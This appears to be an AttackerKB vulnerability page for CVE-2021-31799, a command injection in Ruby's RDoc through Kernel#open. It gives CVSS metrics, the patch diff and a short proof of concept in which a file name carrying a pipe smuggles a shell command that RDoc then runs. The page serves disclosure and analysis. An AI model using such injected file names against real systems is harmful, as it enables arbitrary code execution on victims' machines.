Attacker Value
High
0
CVE-2021-31799
0
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2021-31799
(Last updated January 06, 2024) ▾
MITRE ATT&CK
Log in to add MITRE ATT&CK tag
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated
MITRE ATT&CK
Select the MITRE ATT&CK Tactics that apply to this CVE
Collection
Select any Techniques used:
Command and Control
Select any Techniques used:
Credential Access
Select any Techniques used:
Defense Evasion
Select any Techniques used:
Discovery
Select any Techniques used:
Execution
Select any Techniques used:
Exfiltration
Select any Techniques used:
Impact
Select any Techniques used:
Initial Access
Select any Techniques used:
Lateral Movement
Select any Techniques used:
Persistence
Select any Techniques used:
Privilege Escalation
Select any Techniques used:
Topic Tags
Select the tags that apply to this CVE (Assessment added tags are disabled and cannot be removed)
What makes this of high-value to an attacker?
What makes this of low-value to an attacker?
Description
In RDoc 3.11 through 6.x before 6.3.1, as distributed with Ruby through 3.0.1, it is possible to execute arbitrary code via | and tags in a filename.
Add Assessment
2
Ratings
-
Attacker ValueHigh
-
ExploitabilityMedium
Technical Analysis
CVE-2021-31799
Perlisms strike again in this RDoc command injection. Kernel#open
is not safe.
Patch
File is lib/rdoc/rdoc.rb
.
## # Removes file extensions known to be unparseable from +files+ and TAGS # files for emacs and vim. def remove_unparseable files files.reject do |file, *| file =~ /\.(?:class|eps|erb|scpt\.txt|svg|ttf|yml)$/i or (file =~ /tags$/i and - open(file, 'rb') { |io| + File.open(file, 'rb') { |io| io.read(100) =~ /\A(\f\n[^,]+,\d+$|!_TAG_)/ }) end end
PoC
wvu@kharak:~/Downloads/poc$ cat vulnerable cat: vulnerable: No such file or directory wvu@kharak:~/Downloads/poc$ touch "| echo HACK THE PLANET > vulnerable # tags" wvu@kharak:~/Downloads/poc$ rdoc Parsing sources... 100% [ 1/ 1] | echo HACK THE PLANET > vulnerable # tags Generating Darkfish format into /Users/wvu/Downloads/poc/doc... Files: 1 Classes: 0 (0 undocumented) Modules: 0 (0 undocumented) Constants: 0 (0 undocumented) Attributes: 0 (0 undocumented) Methods: 0 (0 undocumented) Total: 0 (0 undocumented) 0.00% documented Elapsed: 0.1s wvu@kharak:~/Downloads/poc$ cat vulnerable HACK THE PLANET wvu@kharak:~/Downloads/poc$
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
Data provided by the National Vulnerability Database (NVD)
Base Score:
7.0 High
Impact Score:
5.9
Exploitability Score:
1
Attack Vector (AV):
Local
Attack Complexity (AC):
High
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High
General Information
Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
n/a
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown
Vendors
- debian,
- oracle,
- ruby-lang
Products
- debian linux 10.0,
- debian linux 9.0,
- jd edwards enterpriseone tools,
- rdoc
References
Additional Info
Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Rapid7
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: